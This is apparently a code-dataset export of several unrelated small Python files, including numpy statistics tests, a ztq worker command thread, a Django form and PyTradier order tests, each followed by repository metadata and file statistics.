np.array([25.0, 16.0, 9.0, 4.0, 1.0, 0.0, 1.0, 4.0, 9.0, 16.0]),
rtol=1e-09,
).all()
)
def test_max_abs_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('max_abs'),
np.array([100.0, 99.0, 98.0, 97.0, 96.0, 95.0, 96.0, 97.0, 98.0, 99.0]),
rtol=1e-09,
).all()
)
def test_max_val_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('max_val'),
np.array([90.0, 91.0, 92.0, 93.0, 94.0, 95.0, 96.0, 97.0, 98.0, 99.0]),
rtol=1e-09,
).all()
)
def test_min_abs_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('min_abs'),
np.array([0.0, 1.0, 2.0, 3.0, 4.0, 5.0, 4.0, 3.0, 2.0, 1.0]),
rtol=1e-09,
).all()
)
def test_min_val_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('min_val'),
np.array([-100.0, -99.0, -98.0, -97.0, -96.0, -95.0, -94.0, -93.0, -92.0, -91.0]),
rtol=1e-09,
).all()
)
def test_ns_con_var_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('ns_con_var'),
np.array(
[
2500.0,
2500.0,
2500.0,
2500.0,
2500.0,
2500.0,
2500.0,
2500.0,
2500.0,
2500.0,
]
),
rtol=1e-09,
).all()
)
def test_odds_positive_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('odds_positive'),
np.array([0.81818182, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0]),
rtol=1e-09,
).all()
)
def test_prob_negative_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('prob_negative'),
np.array([0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5]),
rtol=1e-09,
).all()
)
def test_prob_positive_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('prob_positive'),
np.array([0.45, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5, 0.5]),
rtol=1e-09,
).all()
)
def test_median_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('quantile', 0.5),
np.array([-5.0, -4.0, -3.0, -2.0, -1.0, 0.0, 1.0, 2.0, 3.0, 4.0]),
rtol=1e-09,
).all()
)
def test_rms_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('rms'),
np.array(
[
57.87918451,
57.80138407,
57.74080013,
57.69748695,
57.67148342,
57.66281297,
57.67148342,
57.69748695,
57.74080013,
57.80138407,
]
),
rtol=1e-09,
).all()
)
def test_std_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('std'),
np.array(
[
59.16079783,
59.16079783,
59.16079783,
59.16079783,
59.16079783,
59.16079783,
59.16079783,
59.16079783,
59.16079783,
59.16079783,
]
),
rtol=1e-09,
).all()
)
def test_sum_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('sum'),
np.array([-100.0, -80.0, -60.0, -40.0, -20.0, 0.0, 20.0, 40.0, 60.0, 80.0]),
rtol=1e-09,
).all()
)
def test_variance_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('variance'),
np.array(
[
3325.0,
3325.0,
3325.0,
3325.0,
3325.0,
3325.0,
3325.0,
3325.0,
3325.0,
3325.0,
]
),
rtol=1e-09,
).all()
)
def test_zscore_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('zscore'),
np.array(
[
-0.26726124,
-0.21380899,
-0.16035675,
-0.1069045,
-0.05345225,
0.0,
0.05345225,
0.1069045,
0.16035675,
0.21380899,
]
),
rtol=1e-09,
).all()
)
def test_ew_con_var_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('ew_con_var'),
np.array(
[400.0, 400.0, 400.0, 400.0, 400.0, 400.0, 400.0, 400.0, 400.0, 400.0]
),
rtol=1e-09,
).all()
)
def test_diff_pcc(self):
self.assertTrue(
np.isclose(
test_diff_calcs.get_diff_calc('pearson_correlation_coefficient'),
np.array(1),
rtol=1e-09,
).all()
)
def test_diff_ksp(self):
self.assertTrue(
np.isclose(
test_diff_calcs.get_diff_calc('ks_p_value'),
np.array(1.0),
rtol=1e-09,
).all()
)
def test_diff_covariance(self):
self.assertTrue(
np.isclose(
test_diff_calcs.get_diff_calc('covariance'),
np.array(3333.25),
rtol=1e-09,
).all()
)
def test_diff_normalized_max_pointwise_error(self):
self.assertTrue(
np.isclose(
test_diff_calcs.get_diff_calc('n_emax'),
np.array(0.00502513),
rtol=1e-09,
).all()
)
def test_diff_normalized_root_mean_squared(self):
self.assertTrue(
np.isclose(
test_diff_calcs.get_diff_calc('n_rms'),
np.array(0.00502513),
rtol=1e-09,
).all()
)
| 32.932249 | 100 | 0.415816 | 2,743 | 24,304 | 3.508203 | 0.113015 | 0.016003 | 0.01964 | 0.022031 | 0.781773 | 0.744362 | 0.711732 | 0.645537 | 0.577159 | 0.550868 | 0 | 0.188838 | 0.448527 | 24,304 | 737 | 101 | 32.976934 | 0.529135 | 0.001193 | 0 | 0.477997 | 0 | 0 | 0.042889 | 0.002513 | 0 | 0 | 0 | 0 | 0.101669 | 1 | 0.101669 | false | 0 | 0.013657 | 0 | 0.116844 | 0.001517 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3ac8fa87f2e7cbcac25a1b137907c6c33699e2f7 | 2,864 | py | Python | ztq_worker/ztq_worker/command_thread.py | audoe/ztq | b2527171d759e58d28f8a43876d87ca1a14b546a | [
"MIT"
] | null | null | null | ztq_worker/ztq_worker/command_thread.py | audoe/ztq | b2527171d759e58d28f8a43876d87ca1a14b546a | [
"MIT"
] | null | null | null | ztq_worker/ztq_worker/command_thread.py | audoe/ztq | b2527171d759e58d28f8a43876d87ca1a14b546a | [
"MIT"
] | null | null | null | # -*- encoding: utf-8 -*-
from config_manager import CONFIG
from command_execute import report, kill_transform, cancel_transform, set_job_threads
from threading import Thread
import logging
import time
import ztq_core
logger = logging.getLogger("ztq_worker")
class CommandThread(Thread):
""" 监视命令队列,取得命令, 执行命令"""
def __init__(self, worker_name=''):
super(CommandThread, self).__init__()
self.login_time = int(time.time())
self.worker_name = worker_name or CONFIG['server']['alias']
def init(self):
""" 开机初始化工作 """
reboot = False
worker_state = ztq_core.get_worker_state()
if self.worker_name in worker_state:
# 重启,读取服务器配置信息
reboot = True
# 记录系统日志
system_log = ztq_core.get_system_log_queue()
system_log.push(dict( host=CONFIG['server']['alias'],
alias=self.worker_name,
type=reboot and 'reboot' or 'power',
timestamp=self.login_time,))
# 报告机器状态
worker_state[self.worker_name] = report(self.login_time)
def run(self):
self.init()
# 监听指令
commands = ztq_core.get_command_queue(self.worker_name)
while True:
try:
command = commands.pop()
if command['command'] == 'report':
worker_state = ztq_core.get_worker_state()
worker_state[self.worker_name] = report(self.login_time)
elif command['command'] == 'updatedriver':
# TODO
#async_drive_config()
pass
elif command['command'] == 'updateworker' and \
CONFIG['server'].get('active_config', 'false').lower() == 'true':
queue = ztq_core.get_worker_config()
set_job_threads(queue[self.worker_name])
elif command['command'] == 'kill':
kill_transform(pid=command['pid'], timestamp=command['timestamp'])
elif command['command'] == 'cancel':
cancel_transform(pid=command['pid'], timestamp=command['timestamp'])
except ztq_core.ConnectionError, e:
logger.error('ERROR: redis command connection error: %s' % str(e))
time.sleep(3)
except ztq_core.ResponseError, e:
logger.error('ERROR: redis command response error: %s' % str(e))
time.sleep(3)
except KeyboardInterrupt:
import os
# 实际上调用的是command_execute.clear_thread
os.sys.exitfunc()
os._exit(0)
except Exception, e:
logger.error('ERROR: redis command unknown error: %s' % str(e))
time.sleep(3)
| 39.232877 | 89 | 0.551676 | 297 | 2,864 | 5.104377 | 0.3367 | 0.059367 | 0.073879 | 0.031662 | 0.26715 | 0.26715 | 0.209763 | 0.092348 | 0.058047 | 0 | 0 | 0.002644 | 0.339735 | 2,864 | 72 | 90 | 39.777778 | 0.799048 | 0.040503 | 0 | 0.127273 | 0 | 0 | 0.106667 | 0 | 0 | 0 | 0 | 0.013889 | 0 | 0 | null | null | 0.018182 | 0.127273 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3acef382ddfe036de811732cac8bb5961c38f6d6 | 560 | py | Python | user.py | canssidle/Password_save | 5d754c17b711ea120e48780f94e444e847740b42 | [
"MIT"
] | null | null | null | user.py | canssidle/Password_save | 5d754c17b711ea120e48780f94e444e847740b42 | [
"MIT"
] | null | null | null | user.py | canssidle/Password_save | 5d754c17b711ea120e48780f94e444e847740b42 | [
"MIT"
] | null | null | null | user_createaccount = []# Empty user_create account
class User:
def __init__(self,username,password,email):
"""
created insatances of the user class
"""
self.username = username
self.email = email
self.password = password
User.user = {"username":self.username, "email":self.email, "password":self.password}
def save_account(self):
User.user_createaccount.append(self)
def generate_password():
pass
@classmethod
def return_user(cls):
return cls.user
| 23.333333 | 92 | 0.623214 | 61 | 560 | 5.557377 | 0.377049 | 0.106195 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.276786 | 560 | 24 | 93 | 23.333333 | 0.837037 | 0.1125 | 0 | 0 | 0 | 0 | 0.044304 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0.357143 | 0 | 0.071429 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
3ade134dd8320529cc903f6c9cf1ba2fc2ed9959 | 322 | py | Python | starter/forms.py | as8709/point_defence | ef0a8b74a2b79e0cc0e87c84883668cef0a1d8c6 | [
"MIT"
] | null | null | null | starter/forms.py | as8709/point_defence | ef0a8b74a2b79e0cc0e87c84883668cef0a1d8c6 | [
"MIT"
] | null | null | null | starter/forms.py | as8709/point_defence | ef0a8b74a2b79e0cc0e87c84883668cef0a1d8c6 | [
"MIT"
] | null | null | null | from django.forms import ModelForm
from .models import Missile
class MissileForm(ModelForm):
class Meta:
model = Missile
fields = ['name', 'is_offensive', 'fuel', 'thrust', 'rotation_force',
'radius', 'length', 'explosive_power', 'script', 'sensor_range', 'sensor_resolution', 'sensor_angle']
| 35.777778 | 109 | 0.680124 | 35 | 322 | 6.085714 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.180124 | 322 | 8 | 110 | 40.25 | 0.806818 | 0 | 0 | 0 | 0 | 0 | 0.354037 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
3ae0f4b4a18dbc902643854fce4604f299e82c40 | 102 | py | Python | factorial.py | nagayev/pyexamples | 3cdbef701fef44c11bf9ba75da5ee3f2eac1baa5 | [
"MIT"
] | null | null | null | factorial.py | nagayev/pyexamples | 3cdbef701fef44c11bf9ba75da5ee3f2eac1baa5 | [
"MIT"
] | null | null | null | factorial.py | nagayev/pyexamples | 3cdbef701fef44c11bf9ba75da5ee3f2eac1baa5 | [
"MIT"
] | null | null | null | def factorial(n):
fact=1
for i in range(1,n+1):
fact*=i
print(fact)
factorial(5)
| 14.571429 | 26 | 0.54902 | 18 | 102 | 3.111111 | 0.611111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.056338 | 0.303922 | 102 | 6 | 27 | 17 | 0.732394 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.166667 | 0.166667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3ae211fbe89fda88333f4b4f53c12bdfa3166365 | 240 | py | Python | setup.py | uc-cdis/cwl | 7f01768479e6a77a5caf6b3382174aa038ba05fc | [
"Apache-2.0"
] | 1 | 2020-02-19T15:53:03.000Z | 2020-02-19T15:53:03.000Z | setup.py | uc-cdis/genomel_pipelines | c661469505c606e1353f23c21a6654724a9d8d63 | [
"Apache-2.0"
] | 10 | 2018-10-16T00:56:01.000Z | 2019-02-05T20:53:28.000Z | setup.py | uc-cdis/genomel_pipelines | c661469505c606e1353f23c21a6654724a9d8d63 | [
"Apache-2.0"
] | 1 | 2019-07-16T15:41:12.000Z | 2019-07-16T15:41:12.000Z | '''setup'''
from setuptools import setup, find_packages
setup(
name="GenoMEL-PDC bionimbus pipeline",
version="1.0",
install_requires=[
"GitPython==2.1.11",
"PyYAML==5.4"
],
packages=find_packages(),
)
| 17.142857 | 43 | 0.608333 | 28 | 240 | 5.107143 | 0.785714 | 0.167832 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043243 | 0.229167 | 240 | 13 | 44 | 18.461538 | 0.72973 | 0.020833 | 0 | 0 | 0 | 0 | 0.266376 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.1 | 0 | 0.1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
aaf72a079cc3f707605faa555747c03e382f09e5 | 12,657 | py | Python | tests/test_rest.py | zlopez101/PyTradier | 83397cf38bd636c471993b57fb71a12885affcb7 | [
"MIT"
] | 1 | 2021-04-30T23:59:20.000Z | 2021-04-30T23:59:20.000Z | tests/test_rest.py | zlopez101/PyTradier | 83397cf38bd636c471993b57fb71a12885affcb7 | [
"MIT"
] | 7 | 2021-05-08T00:47:59.000Z | 2021-05-12T01:45:37.000Z | tests/test_rest.py | zlopez101/PyTradier | 83397cf38bd636c471993b57fb71a12885affcb7 | [
"MIT"
] | null | null | null | import pytest
from PyTradier.rest import REST
from PyTradier.exceptions import *
from PyTradier.order import *
class TestRest:
"""All tests accept the post_return_parameters fixture to replace requests.post with a mocked response that just returns the submitted parameters
"""
rest = REST()
# create a rest with various defaults
defaulted_rest = REST(duration="gtc", preview=True,)
def test_all_equity(self, randomTicker, randomOption):
"""Test the utility function all_equity
"""
order = LimitOrder(randomTicker[0], "buy", 1, 10)
assert order.option_symbol == None
res = self.rest.all_equity(
LimitOrder(randomTicker[0], "buy", 1, 10),
LimitOrder(randomTicker[0], "buy", 1, 10),
LimitOrder(randomTicker[0], "buy", 1, 10),
)
assert res == True, "all the orders are equity"
res = self.rest.all_option(
LimitOrder(randomOption[0], "buy_to_close", 1, 10),
LimitOrder(randomOption[0], "buy_to_close", 1, 10),
LimitOrder(randomOption[0], "buy_to_close", 1, 10),
)
assert res == True, "all these orders are option"
def test_equity_order(self, randomTicker, randomOption, post_return_parameters):
"""
GIVEN a rest client with no defaults
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created
"""
# equity
equity = self.rest.equity(LimitOrder(randomTicker[0], "buy", 1, 10.0, "gtc"))
assert equity.get("symbol") == randomTicker[0]
assert not equity.get("option_symbol"), "no option symbol"
assert equity.get("class") == "equity"
# option
option = self.rest.option(
StopOrder(randomOption[1], "sell_to_open", 1, 1000.00, "gtc")
)
assert (
option.get("symbol") == randomTicker[1]
), "the underlying symbol should match"
assert option.get("option_symbol") == randomOption[1]
"""
GIVEN a rest client with no defaults
WHEN the user submits improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created and sent to trade endpoint
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits an improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
pass
def test_one_cancels_other(
self, randomTicker, randomOption, post_return_parameters
):
"""
GIVEN a rest client with no defaults
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created
"""
oco = self.rest.one_cancels_other(
LimitOrder(randomOption[0], "buy_to_open", 1, 10.0),
MarketOrder(randomOption[0], "buy_to_open", 1, duration="day"),
)
assert oco.get("symbol[0]") == oco.get("symbol[1]")
assert oco.get("option_symbol[0]") == oco.get("option_symbol[1]")
assert oco.get("duration") == "day"
assert oco.get("class") == "oco"
"""
GIVEN a rest client with no defaults
WHEN the user submits improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
# check not the same type error
# not the the same symbol error
with pytest.raises(RequiredError) as excInfo:
oco = self.rest.one_cancels_other(
LimitOrder(randomTicker[0], "buy", 1, 10.0),
MarketOrder(randomTicker[1], "buy", 1, duration="day"),
)
assert "attributes symbol need to be the same" in str(excInfo.value)
# not the same option symbol
with pytest.raises(RequiredError) as excInfo:
oco = self.rest.one_cancels_other(
LimitOrder(randomOption[0], "buy_to_open", 1, 10.0),
MarketOrder(randomOption[1], "buy_to_open", 1, duration="day"),
)
assert "attributes option_symbol need to be the same" in str(excInfo.value)
# not the same duration error
with pytest.raises(RequiredError) as excInfo:
oco = self.rest.one_cancels_other(
LimitOrder(randomTicker[0], "buy", 1, 10.0, duration="gtc"),
MarketOrder(randomTicker[0], "buy", 1, duration="day"),
)
assert "attributes duration need to be the same" in str(excInfo.value)
# no duration specified
with pytest.raises(RequiredError) as excInfo:
oco = self.rest.one_cancels_other(
LimitOrder(randomTicker[0], "buy", 1, 10.0),
MarketOrder(randomTicker[0], "buy", 1),
)
assert "attribute duration was never specified" in str(excInfo.value)
"""
GIVEN a rest client with some default settings
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created and sent to trade endpoint
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits an improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
def test_one_triggers_other(
self, randomTicker, randomOption, post_return_parameters
):
# this one, the API documentation doesn't include any
"""
GIVEN a rest client with no defaults
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created
"""
oto = self.rest.one_trigger_other(
LimitOrder(randomTicker[0], "sell", 100, 100.00, duration="day"),
StopOrder(randomTicker[1], "buy", 100, 100.00),
)
assert oto.get("class") == "oto"
assert oto.get("quantity[1]") == 100
assert oto.get("duration") == "day"
assert not oto.get("duration[0]"), "there should be no indexed duration"
"""
GIVEN a rest client with no defaults
WHEN the user submits improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created and sent to trade endpoint
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits an improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
pass
def test_one_cancels_other_triggers_other(
self, randomTicker, randomOption, post_return_parameters
):
"""
GIVEN a rest client with no defaults
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created
"""
otoco = self.rest.one_triggers_one_cancels_other(
LimitOrder(randomTicker[0], "buy", 1, 10.0),
StopOrder(randomTicker[0], "sell", 1, 10),
LimitOrder(randomTicker[0], "sell_short", 1, 10, duration="day"),
)
assert otoco.get("symbol[0]") == otoco.get("symbol[2]")
assert otoco.get("symbol[1]") == randomTicker[0]
assert otoco.get("type[0]") == "limit"
assert otoco.get("stop[1]") == 10
assert otoco.get("side[2]") == "sell_short"
otoco = self.rest.one_triggers_one_cancels_other(
LimitOrder(randomOption[1], "buy_to_open", 1, 10.0),
StopOrder(randomOption[1], "sell_to_close", 1, 10),
LimitOrder(randomOption[1], "sell_to_open", 1, 10, duration="day"),
)
assert otoco.get("symbol[0]") == otoco.get("symbol[2]")
assert otoco.get("option_symbol[1]") == randomOption[1]
assert otoco.get("symbol[0]") == randomTicker[1]
assert otoco.get("type[0]") == "limit"
assert otoco.get("stop[1]") == 10
assert otoco.get("side[2]") == "sell_to_open"
"""
GIVEN a rest client with no defaults
WHEN the user submits improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
# different option symbols in the second/third leg
with pytest.raises(RequiredError) as excInfo:
otoco = self.rest.one_triggers_one_cancels_other(
LimitOrder(randomOption[1], "buy_to_open", 1, 10.0),
StopOrder(randomOption[0], "sell_to_close", 1, 10),
LimitOrder(randomOption[1], "sell_to_open", 1, 10, duration="day"),
)
assert "attributes option_symbol" in str(excInfo.value)
# different equity symbols in the second/third leg
"""
GIVEN a rest client with some default settings
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created and sent to trade endpoint
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits an improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
pass
def test_combo_order(self, randomTicker, randomOption, post_return_parameters):
"""
GIVEN a rest client with no defaults
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created
"""
"""
GIVEN a rest client with no defaults
WHEN the user submits improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created and sent to trade endpoint
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits an improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
pass
def test_multileg_order(
self, randomTicker, randomOption, randomOptionSide, post_return_parameters
):
"""
GIVEN a rest client with no defaults
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created
"""
params = self.rest.multileg_order(
SpecOrder(randomOption[0], 1, randomOptionSide[1]),
SpecOrder(randomOption[0], 10, randomOptionSide[0]),
SpecOrder(randomOption[0], 10, randomOptionSide[0]),
type="market",
duration="gtc",
)
assert (
params.get("symbol") == randomTicker[0]
), "symbol should be the underlying symbol of the options"
assert not params.get("symbol[0]"), "symbols are not indexed"
assert not params.get("symbol[0]"), "symbols are not indexed"
assert params.get("option_symbol[1]") == randomOption[0], "option symbol"
assert params.get("side[2]") == randomOptionSide[0]
assert params.get("side[0]") == randomOptionSide[1]
assert params.get("type") == "market"
assert not params.get("type[0]"), "types are not indexed"
assert params.get('duration') == 'gtc'
assert not params.get('duration[1]'), 'durations are not indexed'
"""
GIVEN a rest client with no defaults
WHEN the user submits improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits a properly formatted request
THEN the correct order_details dictionary should be created and sent to trade endpoint
"""
"""
GIVEN a rest client with some default settings
WHEN the user submits an improperly formatted request
THEN a useful error should be raised altering user of the issue
"""
pass
| 40.697749 | 149 | 0.619499 | 1,550 | 12,657 | 4.984516 | 0.1 | 0.026922 | 0.031064 | 0.049702 | 0.767668 | 0.741393 | 0.694667 | 0.676935 | 0.668004 | 0.660756 | 0 | 0.020885 | 0.292565 | 12,657 | 310 | 150 | 40.829032 | 0.84197 | 0.112191 | 0 | 0.374101 | 0 | 0 | 0.157909 | 0 | 0 | 0 | 0 | 0 | 0.302158 | 1 | 0.05036 | false | 0.035971 | 0.028777 | 0 | 0.100719 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
aaf84e5220c5082ed510e533bdedf4e9ae352a42 | 283 | py | Python | scytale/__init__.py | MarcoYLyu/scytale | f2a38770c190f6be4ae775e956de539d9d8e2b72 | [
"Apache-2.0"
] | null | null | null | scytale/__init__.py | MarcoYLyu/scytale | f2a38770c190f6be4ae775e956de539d9d8e2b72 | [
"Apache-2.0"
] | null | null | null | scytale/__init__.py | MarcoYLyu/scytale | f2a38770c190f6be4ae775e956de539d9d8e2b72 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
from . import lattice
from . import crypto
from . import factor
from . import ecurve
from .crypto import *
from .ecurve import *
from .factor import *
from .lattice import *
from .algorithm import *
__all__ = ['crypto', 'ecurve', 'factorization', 'lattice'] | 20.214286 | 58 | 0.720848 | 36 | 283 | 5.555556 | 0.361111 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004219 | 0.162544 | 283 | 14 | 58 | 20.214286 | 0.839662 | 0.074205 | 0 | 0 | 0 | 0 | 0.122137 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.9 | 0 | 0.9 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
aaf8fe0be40c6ce19d3e70d68bcf79de816f3bc4 | 294 | py | Python | saltchannel/util/key_pair.py | assaabloy-ppi/salt-channel-python | 06ff38ac3791fed0f98232d4c6eb09b9c4e9aee6 | [
"MIT"
] | 1 | 2018-06-04T18:52:41.000Z | 2018-06-04T18:52:41.000Z | saltchannel/util/key_pair.py | assaabloy-ppi/salt-channel-python | 06ff38ac3791fed0f98232d4c6eb09b9c4e9aee6 | [
"MIT"
] | 4 | 2018-06-29T13:43:08.000Z | 2018-07-23T12:47:09.000Z | saltchannel/util/key_pair.py | assaabloy-ppi/salt-channel-python | 06ff38ac3791fed0f98232d4c6eb09b9c4e9aee6 | [
"MIT"
] | 4 | 2017-08-24T06:36:32.000Z | 2018-11-22T20:06:53.000Z | import collections
class KeyPair(collections.namedtuple('KeyPair', ['sec', 'pub'])):
"""Simple key pair class. Stores secret-public key pair as an named tuple for compactness.
"""
__slots__ = ()
def __str__(self):
return ', \n'.join([self.sec.hex(), self.pub.hex()])
| 26.727273 | 94 | 0.639456 | 37 | 294 | 4.864865 | 0.72973 | 0.077778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.193878 | 294 | 10 | 95 | 29.4 | 0.759494 | 0.295918 | 0 | 0 | 0 | 0 | 0.086735 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0.2 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
c900ab4201a4ad0c2e0da196d62264a0674e0746 | 541 | py | Python | lib/datatools/build_evaluate.py | JokerWDL/PyAnomaly | cf93437e5d7ae87fa916141cf4b5cc2e929b8199 | [
"Apache-2.0"
] | 1 | 2020-11-22T17:55:10.000Z | 2020-11-22T17:55:10.000Z | lib/datatools/build_evaluate.py | JokerWDL/PyAnomaly | cf93437e5d7ae87fa916141cf4b5cc2e929b8199 | [
"Apache-2.0"
] | null | null | null | lib/datatools/build_evaluate.py | JokerWDL/PyAnomaly | cf93437e5d7ae87fa916141cf4b5cc2e929b8199 | [
"Apache-2.0"
] | null | null | null | from lib.datatools.evaluate.eval_function import eval_functions
class EvaluateAPI(object):
def __init__(self, cfg, logger):
self.cfg = cfg
self.logger = logger
def __call__(self, eval_function_type):
assert eval_function_type in eval_functions, f'there is no type of evaluation {eval_function_type}, please check {eval_functions.keys()}'
self.logger.info(f'==> Using the eval function: {eval_function_type}')
t = eval_functions[eval_function_type]
return t
| 38.642857 | 146 | 0.680222 | 70 | 541 | 4.928571 | 0.485714 | 0.243478 | 0.231884 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.236599 | 541 | 14 | 147 | 38.642857 | 0.835351 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 0.083176 | 0 | 0 | 0 | 0 | 0.1 | 1 | 0.2 | false | 0 | 0.1 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c90859aecc428f0ae3b57827f451c615768efc30 | 905 | py | Python | plot_aparc_parcellation.py | binarybottle/mindboggle_sidelined | 1431d4877f4ceae384486fb66798bc22e6471af7 | [
"Apache-2.0"
